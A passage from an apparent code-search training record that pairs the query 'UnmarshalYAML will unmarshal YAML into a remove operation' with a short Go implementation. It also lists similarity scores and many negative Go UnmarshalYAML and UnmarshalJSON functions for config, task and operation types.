json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}" ]
[ "0.6547019", "0.6543067", "0.6497812", "0.649129", "0.6434794", "0.6374226", "0.6309998", "0.6278878", "0.6256634", "0.62374836", "0.62212664", "0.6178675", "0.617603", "0.6129699", "0.6129218", "0.6129068", "0.6103448", "0.6099082", "0.6097856", "0.60854304", "0.60695916", "0.6068271", "0.60649717", "0.60553557", "0.6046467", "0.6040689", "0.6038099", "0.6025547", "0.6018597", "0.6012895", "0.59939957", "0.59903896", "0.59719896", "0.59706646", "0.5959765", "0.5945923", "0.5941979", "0.5939851", "0.59394485", "0.59287614", "0.5918546", "0.5918418", "0.5913102", "0.5903066", "0.58985853", "0.58978933", "0.5861192", "0.58597386", "0.5846106", "0.5843242", "0.58396924", "0.58302003", "0.5820752", "0.5818202", "0.5814395", "0.581343", "0.5808244", "0.5803552", "0.5800909", "0.5790727", "0.5781291", "0.5779844", "0.5777486", "0.57715976", "0.5770522", "0.57676864", "0.57623994", "0.5762193", "0.5759097", "0.57565117", "0.5753666", "0.57480663", "0.5747286", "0.5744612", "0.57371783", "0.57348037", "0.5731891", "0.5731312", "0.5729265", "0.57255286", "0.57244575", "0.57238746", "0.5719282", "0.5718035", "0.57162666", "0.57162666", "0.57152647", "0.57143044", "0.5714084", "0.57139826", "0.57096523", "0.57084405", "0.57084405", "0.5707", "0.57056373", "0.5701696", "0.5701696", "0.5701696", "0.5701696", "0.5701696" ]
0.75288004
0
UnmarshalYAML will unmarshal YAML into a remove operation
func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error { return unmarshal(&op.Field) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn nil\n}", "func (e *ExternalOptimizeForConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}", "func (f *Flag) UnmarshalYAML(node *yaml.Node) error {\n\ttag := GetTag(node.Value)\n\tf.Name = tag.Name\n\tf.Negates = tag.Negates\n\tlog.Tracef(\"Unmarshal %s into %s\\n\", node.Value, tag)\n\treturn nil\n}", "func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}", "func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}", "func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Fields)\n}", "func (msg *RawMessage) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tmsg.unmarshal = unmarshal\n\treturn nil\n}", "func (cd *ContainerDef) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype rawContainerDef ContainerDef\n\traw := rawContainerDef{Essential: true} // If essential is not specified, we want it to be true\n\tif err := unmarshal(&raw); err != nil {\n\t\treturn err\n\t}\n\n\t*cd = ContainerDef(raw)\n\treturn nil\n}", "func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar addRaw opAddRaw\n\terr := unmarshal(&addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}", "func (o *Op) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar typeDecoder map[string]rawMessage\n\terr := unmarshal(&typeDecoder)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn o.unmarshalDecodedType(typeDecoder)\n}", "func (s *GitEvent) UnmarshalYAML(n *yaml.Node) error {\n\tvar j string\n\terr := yaml.Unmarshal([]byte(n.Value), &j)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Note that if the string cannot be found then it will be set to the zero value, 'Push' in this case.\n\t*s = toID[j]\n\treturn nil\n}", "func (b *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar strVal string\n\terr := unmarshal(&strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\tparsed, err := Parse(strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*b = parsed\n\treturn nil\n}", "func (m *Manifest) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tmp map[string]interface{}\n\tif err := unmarshal(&tmp); err != nil {\n\t\treturn err\n\t}\n\n\tdata, err := json.Marshal(tmp)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn json.Unmarshal(data, m)\n}", "func UnmarshalYAML(config *YAMLConfiguration, path string) {\n\tdata, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\terr = yaml.Unmarshal(data, config)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tos.Exit(1)\n\t}\n}", "func (r *Connection) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype tmp Connection\n\tvar s struct {\n\t\ttmp `yaml:\",inline\"`\n\t}\n\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to parse YAML: %s\", err)\n\t}\n\n\t*r = Connection(s.tmp)\n\n\tif err := utils.ValidateTags(r); err != nil {\n\t\treturn err\n\t}\n\n\t// If options weren't specified, create an empty map.\n\tif r.Options == nil {\n\t\tr.Options = make(map[string]interface{})\n\t}\n\n\treturn nil\n}", "func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}", "func (i *Transform) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = ParseTransformString(s)\n\treturn err\n}", "func (this *Write) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// new temp as map[string]interface{}.\n\ttemp := make(map[string]interface{})\n\n\t// unmarshal temp as yaml.\n\tif err := unmarshal(temp); err != nil {\n\t\treturn err\n\t}\n\n\treturn this.unmarshal(temp)\n}", "func (at *SecurityCheck) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar res map[string]interface{}\n\tif err := unmarshal(&res); err != nil {\n\t\treturn err\n\t}\n\terr := mapstructure.Decode(res, &at)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif at.TestType == common.NonApplicableTest || at.TestType == common.ManualTest {\n\t\tat.NonApplicable = true\n\t}\n\treturn nil\n}", "func (k *Ktype) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar ktyp string\n\terr := unmarshal(&ktyp)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*k = KeventNameToKtype(ktyp)\n\treturn nil\n}", "func (r *rawMessage) UnmarshalYAML(b []byte) error {\n\t*r = b\n\treturn nil\n}", "func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tif aliased.Type, _, err = docs.GetInferenceCandidateFromYAML(nil, docs.TypeTracer, aliased.Type, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}", "func (a *RelabelAction) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tswitch act := RelabelAction(strings.ToLower(s)); act {\n\tcase RelabelReplace, RelabelKeep, RelabelDrop, RelabelHashMod, RelabelLabelMap, RelabelLabelDrop, RelabelLabelKeep:\n\t\t*a = act\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"unknown relabel action %q\", s)\n}", "func (s *MaporEqualSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \"=\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}", "func (f *Fixed8) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn f.setFromString(s)\n}", "func (moves *Moves) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar mvList []string\n\tif err := unmarshal(&mvList); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMoves(mvList)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*moves = parsed\n\treturn nil\n}", "func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&b.Kv)\n}", "func (s *MaporSpaceSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \" \")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}", "func (bc *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar u64 uint64\n\tif unmarshal(&u64) == nil {\n\t\tAtomicStoreByteCount(bc, ByteCount(u64))\n\n\t\treturn nil\n\t}\n\n\tvar s string\n\tif unmarshal(&s) == nil {\n\t\tv, err := ParseByteCount(s)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%q: %w: %v\", s, ErrMalformedRepresentation, err)\n\t\t}\n\t\tAtomicStoreByteCount(bc, v)\n\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"%w: unexpected type\", ErrMalformedRepresentation)\n}", "func (s *ArtifactoryParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain ArtifactoryParams\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (mv *Move) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMove(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*mv = *parsed\n\treturn nil\n}", "func unmarsharlYaml(byteArray []byte) Config {\n\tvar cfg Config\n\terr := yaml.Unmarshal([]byte(byteArray), &cfg)\n\tif err != nil {\n\t\tlog.Fatalf(\"error: %v\", err)\n\t}\n\treturn cfg\n}", "func (tf *Taskfile) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&tf.Tasks); err == nil {\n\t\ttf.Version = \"1\"\n\t\treturn nil\n\t}\n\n\tvar taskfile struct {\n\t\tVersion string\n\t\tExpansions int\n\t\tOutput string\n\t\tIncludes yaml.MapSlice\n\t\tVars Vars\n\t\tEnv Vars\n\t\tTasks Tasks\n\t}\n\tif err := unmarshal(&taskfile); err != nil {\n\t\treturn err\n\t}\n\ttf.Version = taskfile.Version\n\ttf.Expansions = taskfile.Expansions\n\ttf.Output = taskfile.Output\n\tincludes, defaultInclude, err := IncludesFromYaml(taskfile.Includes)\n\tif err != nil {\n\t\treturn err\n\t}\n\ttf.Includes = includes\n\ttf.IncludeDefaults = defaultInclude\n\ttf.Vars = taskfile.Vars\n\ttf.Env = taskfile.Env\n\ttf.Tasks = taskfile.Tasks\n\tif tf.Expansions <= 0 {\n\t\ttf.Expansions = 2\n\t}\n\treturn nil\n}", "func (op OpRemove) MarshalYAML() (interface{}, error) {\n\treturn op.Field.String(), nil\n}", "func (r *Run) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar cl CommandList\n\tcommandCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&cl) },\n\t\tAssign: func() { *r = Run{Command: cl} },\n\t}\n\n\ttype runType Run // Use new type to avoid recursion\n\tvar runItem runType\n\trunCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *r = Run(runItem) },\n\t\tValidate: func() error {\n\t\t\tactionUsedList := []bool{\n\t\t\t\tlen(runItem.Command) != 0,\n\t\t\t\tlen(runItem.SubTaskList) != 0,\n\t\t\t\trunItem.SetEnvironment != nil,\n\t\t\t}\n\n\t\t\tcount := 0\n\t\t\tfor _, isUsed := range actionUsedList {\n\t\t\t\tif isUsed {\n\t\t\t\t\tcount++\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif count > 1 {\n\t\t\t\treturn errors.New(\"only one action can be defined in `run`\")\n\t\t\t}\n\n\t\t\treturn nil\n\t\t},\n\t}\n\n\treturn marshal.UnmarshalOneOf(commandCandidate, runCandidate)\n}", "func (r *repoEntry) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar u map[string]string\n\tif err := unmarshal(&u); err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range u {\n\t\tswitch key := strings.ToLower(k); key {\n\t\tcase \"name\":\n\t\t\tr.Name = v\n\t\tcase \"url\":\n\t\t\tr.URL = v\n\t\tcase \"useoauth\":\n\t\t\tr.UseOAuth = strings.ToLower(v) == \"true\"\n\t\t}\n\t}\n\tif r.URL == \"\" {\n\t\treturn fmt.Errorf(\"repo entry missing url: %+v\", u)\n\t}\n\treturn nil\n}", "func yamlUnmarshal(y []byte, o interface{}, strict bool, opts ...JSONOpt) error {\n\tvo := reflect.ValueOf(o)\n\tunmarshalFn := yaml.Unmarshal\n\tif strict {\n\t\tunmarshalFn = yaml.UnmarshalStrict\n\t}\n\tj, err := yamlToJSON(y, &vo, unmarshalFn)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error converting YAML to JSON: %v\", err)\n\t}\n\n\terr = jsonUnmarshal(bytes.NewReader(j), o, opts...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error unmarshaling JSON: %v\", err)\n\t}\n\n\treturn nil\n}", "func (l *LogLevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tp string\n\tunmarshal(&tp)\n\tlevel, exist := LogLevelMapping[tp]\n\tif !exist {\n\t\treturn errors.New(\"invalid mode\")\n\t}\n\t*l = level\n\treturn nil\n}", "func (v *LabelSet) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tlbSet := model.LabelSet{}\n\terr := unmarshal(&lbSet)\n\tif err != nil {\n\t\treturn err\n\t}\n\tv.LabelSet = lbSet\n\treturn nil\n}", "func (d *duration) UnmarshalYAML(unmashal func(interface{}) error) error {\n\tvar s string\n\tif err := unmashal(&s); err != nil {\n\t\treturn err\n\t}\n\tdur, err := time.ParseDuration(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = duration(dur)\n\treturn nil\n}", "func (i *ImportDefinition) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\n\tif err := unmarshal(&s); err == nil {\n\t\ti.File = s\n\t\treturn nil\n\t}\n\tvar str struct {\n\t\tFile string `yaml:\"file,omitempty\"`\n\t\tRepository string `yaml:\"repository,omitempty\"`\n\t\tNamespaceURI string `yaml:\"namespace_uri,omitempty\"`\n\t\tNamespacePrefix string `yaml:\"namespace_prefix,omitempty\"`\n\t}\n\tif err := unmarshal(&str); err != nil {\n\t\treturn err\n\t}\n\ti.File = str.File\n\ti.Repository = str.Repository\n\ti.NamespaceURI = str.NamespaceURI\n\ti.NamespacePrefix = str.NamespacePrefix\n\treturn nil\n}", "func (t *Type) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar value string\n\tif err := unmarshal(&value); err != nil {\n\t\treturn err\n\t}\n\n\tif err := t.Set(value); err != nil {\n\t\treturn fmt.Errorf(\"failed to parse '%s' to Type: %v\", value, err)\n\t}\n\n\treturn nil\n}", "func (key *PrivateKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\terr := unmarshal(&str)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*key, err = NewPrivateKey(str)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (rl *RunList) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar runSlice []*Run\n\tsliceCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runSlice) },\n\t\tAssign: func() { *rl = runSlice },\n\t}\n\n\tvar runItem *Run\n\titemCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *rl = RunList{runItem} },\n\t}\n\n\treturn marshal.UnmarshalOneOf(sliceCandidate, itemCandidate)\n}", "func (b *Bool) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate bool\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tb.set(candidate)\n\treturn nil\n}", "func (r *ScalingConfigOrT[_]) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&r.ScalingConfig); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !r.ScalingConfig.IsEmpty() {\n\t\t// Successfully unmarshalled ScalingConfig fields, return\n\t\treturn nil\n\t}\n\n\tif err := value.Decode(&r.Value); err != nil {\n\t\treturn errors.New(`unable to unmarshal into int or composite-style map`)\n\t}\n\treturn nil\n}", "func (w *CommandWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar err error\n\tvar str string\n\tif err = unmarshal(&str); err == nil {\n\t\tw.Command = str\n\t\treturn nil\n\t}\n\n\tvar commandArray []string\n\tif err = unmarshal(&commandArray); err == nil {\n\t\tw.Commands = commandArray\n\t\treturn nil\n\t}\n\treturn nil //TODO: should be an error , something like UNhhandledError\n}", "func (loglevel *Loglevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar loglevelString string\n\terr := unmarshal(&loglevelString)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tloglevelString = strings.ToLower(loglevelString)\n\tswitch loglevelString {\n\tcase \"error\", \"warn\", \"info\", \"debug\":\n\tdefault:\n\t\treturn fmt.Errorf(\"Invalid loglevel %s Must be one of [error, warn, info, debug]\", loglevelString)\n\t}\n\n\t*loglevel = Loglevel(loglevelString)\n\treturn nil\n}", "func (t *Task) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar rawTask map[string]interface{}\n\terr := unmarshal(&rawTask)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to unmarshal task: %s\", err)\n\t}\n\n\trawName, ok := rawTask[\"name\"]\n\tif !ok {\n\t\treturn errors.New(\"missing 'name' field\")\n\t}\n\n\ttaskName, ok := rawName.(string)\n\tif !ok || taskName == \"\" {\n\t\treturn errors.New(\"'name' field needs to be a non-empty string\")\n\t}\n\n\tt.Name = taskName\n\n\t// Delete name field, since it doesn't represent an action\n\tdelete(rawTask, \"name\")\n\n\tfor actionType, action := range rawTask {\n\t\taction, err := actions.UnmarshalAction(actionType, action)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to unmarshal action %q from task %q: %s\", actionType, t.Name, err)\n\t\t}\n\n\t\tt.Actions = append(t.Actions, action)\n\t}\n\n\tif len(t.Actions) == 0 {\n\t\treturn fmt.Errorf(\"task %q has no actions\", t.Name)\n\t}\n\n\treturn nil\n}", "func (d *DataType) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar val string\n\tif err := unmarshal(&val); err != nil {\n\t\treturn err\n\t}\n\treturn d.FromString(val)\n}", "func UnmarshalYAML(yml []byte) (map[string]ZNode, error) {\n\tvar root map[string]ZNode\n\tvar err = yaml.Unmarshal(yml, &root)\n\treturn root, err\n}", "func (d *Document) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&d.raw); err != nil {\n\t\treturn err\n\t}\n\n\tif err := d.init(); err != nil {\n\t\treturn fmt.Errorf(\"verifying YAML data: %s\", err)\n\t}\n\n\treturn nil\n}", "func (i *UserGroupAccess) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = UserGroupAccessString(s)\n\treturn err\n}", "func (e *External) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar boolType bool\n\tif err := unmarshal(&boolType); err == nil {\n\t\te.External = boolType\n\t\treturn nil\n\t}\n\n\tvar structType = struct {\n\t\tName string\n\t}{}\n\tif err := unmarshal(&structType); err != nil {\n\t\treturn err\n\t}\n\tif structType.Name != \"\" {\n\t\te.External = true\n\t\te.Name = structType.Name\n\t}\n\treturn nil\n}", "func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\n\ttype plain Config\n\treturn unmarshal((*plain)(c))\n}", "func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tvar spec docs.ComponentSpec\n\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\tif spec.Plugin {\n\t\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t\t}\n\t\taliased.Plugin = &pluginNode\n\t} else {\n\t\taliased.Plugin = nil\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}", "func (e *ExternalJavaPackagePrefixConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}", "func (s *TestFileParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain TestFileParams\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\tif s.Size == 0 {\n\t\treturn errors.New(\"File 'size' must be defined\")\n\t}\n\tif s.HistogramBucketPush == nil {\n\t\treturn errors.New(\"File 'histogram_bucket_push' must be defined\")\n\t}\n\tif s.HistogramBucketPull == nil {\n\t\treturn errors.New(\"File 'histogram_bucket_pull' must be defined\")\n\t}\n\treturn nil\n}", "func (ep *Endpoint) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tp, err := ParseEndpoint(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*ep = *p\n\treturn nil\n}", "func (s *Step) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// unmarshal into stepUnmarshaller instead of Step for dynamic unmarshalling Request/Expect\n\tvar unmarshaled stepUnmarshaller\n\tif err := unmarshal(&unmarshaled); err != nil {\n\t\treturn err\n\t}\n\n\ts.Title = unmarshaled.Title\n\ts.Description = unmarshaled.Description\n\ts.Vars = unmarshaled.Vars\n\ts.Protocol = unmarshaled.Protocol\n\ts.Include = unmarshaled.Include\n\ts.Ref = unmarshaled.Ref\n\ts.Bind = unmarshaled.Bind\n\ts.Timeout = unmarshaled.Timeout\n\ts.PostTimeoutWaitingLimit = unmarshaled.PostTimeoutWaitingLimit\n\ts.Retry = unmarshaled.Retry\n\n\tp := protocol.Get(s.Protocol)\n\tif p == nil {\n\t\tif unmarshaled.Request != nil || unmarshaled.Expect != nil {\n\t\t\treturn errors.Errorf(\"unknown protocol: %s\", s.Protocol)\n\t\t}\n\t\treturn nil\n\t}\n\tif unmarshaled.Request != nil {\n\t\tinvoker, err := p.UnmarshalRequest(unmarshaled.Request)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\ts.Request = invoker\n\t}\n\tbuilder, err := p.UnmarshalExpect(unmarshaled.Expect)\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.Expect = builder\n\n\treturn nil\n}", "func unmarsharlYaml(byteArray []byte) Config {\n var cfg Config\n err := yaml.Unmarshal([]byte(byteArray), &cfg)\n if err != nil {\n log.Fatalf(\"error: %v\", err)\n }\n return cfg\n}", "func (options *Options) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype defaults Options\n\tdefaultValues := defaults(*NewOptions())\n\n\tif err := unmarshal(&defaultValues); err != nil {\n\t\treturn err\n\t}\n\n\t*options = Options(defaultValues)\n\n\tif options.SingleLineDisplay {\n\t\toptions.ShowSummaryFooter = false\n\t\toptions.CollapseOnCompletion = false\n\t}\n\n\t// the global options must be available when parsing the task yaml (todo: does order matter?)\n\tglobalOptions = options\n\treturn nil\n}", "func (s *MaporColonSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \":\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}", "func (c *MailConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain MailConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (f *Field) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*f, err = NewField(s)\n\treturn err\n}", "func (z *Z) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Z struct {\n\t\tS *string `json:\"s\"`\n\t\tI *int32 `json:\"iVal\"`\n\t}\n\tvar dec Z\n\tif err := unmarshal(&dec); err != nil {\n\t\treturn err\n\t}\n\tif dec.S != nil {\n\t\tz.S = *dec.S\n\t}\n\tif dec.I != nil {\n\t\tz.I = *dec.I\n\t}\n\treturn nil\n}", "func (i *Int) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate int\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\ti.set(candidate)\n\treturn nil\n}", "func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultConfig\n\tc.LogsLabels = make(map[string]string)\n\ttype plain Config\n\treturn unmarshal((*plain)(c))\n}", "func (r *OAuthFlow) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tobj := make(map[string]interface{})\n\tif err := unmarshal(&obj); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif value, ok := obj[\"authorizationUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.AuthorizationURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"tokenUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.TokenURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"refreshUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.RefreshURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"scopes\"]; ok {\n\t\trbytes, err := yaml.Marshal(value)\n\t\tif err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tvalue := map[string]string{}\n\t\tif err := yaml.Unmarshal(rbytes, &value); err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tr.Scopes = value\n\t}\n\n\texts := 